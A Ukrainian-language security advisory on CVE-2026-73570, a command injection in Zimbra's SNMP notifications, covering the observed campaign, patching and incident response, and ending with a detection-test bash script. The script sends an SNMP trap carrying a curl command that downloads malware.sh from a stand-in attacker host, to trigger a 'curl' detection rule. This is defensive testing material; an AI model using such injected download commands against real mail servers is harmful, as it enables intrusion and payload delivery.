CVE-2026-73570: Неаутентифіковане впровадження команд націлюється на інтернет-доступні поштові сервери

Резюме

Зловмисники активно використовують CVE-2026-73570, неавтентифіковану вразливість введення команд ОС в шляхі сповіщення SNMP у Zimbra Collaboration Suite. Успішна експлуатація може дозволити атакувальникам розгортати веб-шелли JSP, встановлювати зворотні оболонки та підвищувати привілеї. Спостережена кампанія поєднує автоматизовану доставку навантаження з діяльністю «за клавіатурою», спрямованою на крадіжку даних електронної пошти та аутентифікації.

Розслідування

Microsoft Threat Intelligence відслідковували експлуатацію через телеметрію і вивчали кілька етапів атаки, включаючи розвідку, початковий доступ, збереження та підвищення привілеїв. Слідчі спостерігали зондування поза межами використаних піддоменів для підтвердження виконання команд. Аналіз також виявив складні сценарії підвищення привілеїв, що залучають допоміжні програми Zimbra і кілька механізмів збереження, включаючи служби systemd і cron-завдання.

Міри захисту

Організаціям слід негайно оновити Zimbra Collaboration Suite до версії 10.1.20 або пізнішої, щоб усунути вразливість. Якщо виправлення не може бути виконано швидко, видаліть необов’язковий пакет zimbra-snmp і відключіть сповіщення SNMP. Команди безпеки також повинні обмежити доступ до SMTP та SNMP для надійних хостів та ротацію всіх секретів аутентифікації Zimbra.

Відповідь

Розглядайте попередження про зворотні оболонки на поштових серверах, що відкриті в інтернет, як інциденти високого пріоритету, які вимагають швидкого обсягу охорони і перегляду облікових даних. Перевірте програмні та сервлетні директорії Zimbra на наявність неочікуваних JSP-файлів або нещодавно змінених дозволів. Перегляньте одиниці systemd на підозрілу зміну власності або активність timestomping, та проводьте ротацію всіх значень домену zimbraPreAuthKey .

Виконання симуляції

• Опис атаки та команди: Супротивник ідентифікує поштовий сервер Zimbra, що відкритий в інтернет, і експлуатує вразливість (CVE-2026-73570) у обробці сповіщень SNMP. Надіславши спеціально сконструйований пакет, він вводить метасимволи оболонки, які змушують службу SNMP виконати команду. Ціль атакувальника полягає у завантаженні вторинного навантаження для забезпечення стійкості. Вони використовують curl для отримання скрипту з віддаленого сервера, що має викликати команду Command|contains: curl у правилі детекції.

• Сценарій регресійного тестування:

  #!/bin/bash
  # Симуляція експлуатації CVE-2026-73570 шляхом впровадження SNMP пастки
  # Цей скрипт симулює введення команди 'curl' у повідомлення SNMP пастки.
  
  TARGET_IP="127.0.0.1"
  COMMUNITY="public"
  # Шкідливе навантаження, яке має бути захоплено правилом
  MALICIOUS_COMMAND="curl http://attacker.com/malware.sh -o /tmp/malware.sh"
  
  echo "[+] Симуляція впровадження команд через SNMP Trap..."
  
  # Ми використовуємо snmptrap для імітації приходу сконструйованої пастки, що містить рядок 'curl'
  # У реальному експлоїті це було б надіслано через неправильно оформлений пакет SMTP/SNMP
  snmptrap -v 2c -c $COMMUNITY $TARGET_IP '' 1.3.6.1.4.1.8072.2.3.0.1 1.3.6.1.4.1.8072.2.3.0.2 s "$MALICIOUS_COMMAND"
  
  echo "[+] Команда симуляції надіслана. Перевірте SIEM на попередження: Неавтентифіковане введення команд через SNMP в Zimbra"

• Команди очищення:

  # Видаліть будь-які файли, створені під час симуляції (за наявності)
  rm -f /tmp/malware.sh
  echo "[+] Очищення завершено."